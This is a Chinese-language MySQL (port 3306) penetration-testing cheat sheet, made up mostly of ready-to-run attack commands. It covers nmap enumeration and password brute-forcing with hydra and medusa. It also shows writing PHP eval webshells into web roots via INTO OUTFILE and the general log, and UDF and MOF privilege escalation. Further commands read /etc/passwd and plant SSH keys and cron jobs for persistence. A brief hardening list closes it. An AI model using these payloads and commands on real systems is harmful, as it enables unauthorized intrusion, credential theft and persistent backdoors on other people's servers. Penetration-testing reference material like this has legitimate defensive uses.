3306 - MySQL 渗透

漏洞概述

MySQL 是最流行的开源数据库,常见漏洞包括弱口令、未授权访问、UDF 提权、文件写入等。

影响版本: 所有版本
危害等级: ⭐⭐⭐⭐⭐


信息收集

端口扫描

# Nmap 扫描
nmap -sV -p 3306 <TARGET_IP>

# MySQL 枚举脚本
nmap --script mysql-*,mysql-info <TARGET_IP>

版本识别

# Nmap 脚本
nmap --script mysql-info <TARGET_IP>

# 直接连接
mysql -h <TARGET_IP> -u root -p

漏洞利用

方法 1: 弱口令爆破

# Hydra 爆破
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://<TARGET_IP>

# Medusa 爆破
medusa -h <TARGET_IP> -U users.txt -P passwords.txt -M mysql

# Nmap 脚本爆破
nmap --script mysql-brute <TARGET_IP>

方法 2: 未授权访问

# 直接连接(无密码)
mysql -h <TARGET_IP> -u root

# 如果成功,查看数据库
show databases;
use mysql;
select user, host, authentication_string from user;

方法 3: 文件写入 Webshell

-- 检查文件写入权限
show variables like 'secure_file_priv';

-- 如果为空或指定目录,可以写入
SELECT "<?php @eval($_POST['cmd']);?>" INTO OUTFILE '/var/www/html/shell.php';

-- Windows 路径
SELECT "<?php @eval($_POST['cmd']);?>" INTO OUTFILE 'C:/xampp/htdocs/shell.php';

方法 4: 日志文件写入

-- 开启日志
set global general_log = on;
set global general_log_file = '/var/www/html/shell.php';

-- 写入 webshell
SELECT "<?php @eval($_POST['cmd']);?>";

提权路径

UDF 提权

-- 检查 UDF 支持
show variables like 'plugin_dir';

-- 上传 UDF 文件
SELECT load_file('/tmp/lib_mysqludf_sys.so') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

-- 创建函数
CREATE FUNCTION sys_exec RETURNS int SONAME 'udf.so';

-- 执行命令
SELECT sys_exec('whoami');

MOF 提权 (Windows)

-- 上传恶意 MOF 文件
SELECT load_file('C:/Windows/System32/mof/nullevt.mof') INTO DUMPFILE 'C:/Windows/System32/wbem/mof/system/nullevt.mof';

启动项提权

-- 写入启动项
SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE 'C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/shell.php';

数据库渗透

敏感信息收集

-- 查看所有数据库
show databases;

-- 查看用户表
use mysql;
select user, host, authentication_string from user;

-- 查看权限
show grants for 'root'@'localhost';

读取文件

-- 读取敏感文件
SELECT load_file('/etc/passwd');
SELECT load_file('C:/Windows/System32/drivers/etc/hosts');

写入文件

-- 写入 SSH 公钥
SELECT 'ssh-rsa AAAA...' INTO OUTFILE '/root/.ssh/authorized_keys';

-- 写入定时任务
SELECT '* * * * * /tmp/back.sh' INTO OUTFILE '/var/spool/cron/root';

防御建议

  1. 强口令策略

    • 禁用 root 远程登录
    • 使用复杂密码
  2. 限制文件权限

    [mysqld]
    secure_file_priv = /var/lib/mysql-files
    local_infile = 0
  3. 最小权限原则

    CREATE USER 'app'@'localhost' IDENTIFIED BY 'strong_password';
    GRANT SELECT, INSERT, UPDATE ON database.* TO 'app'@'localhost';
  4. 启用日志审计

  5. 定期更新 MySQL


参考链接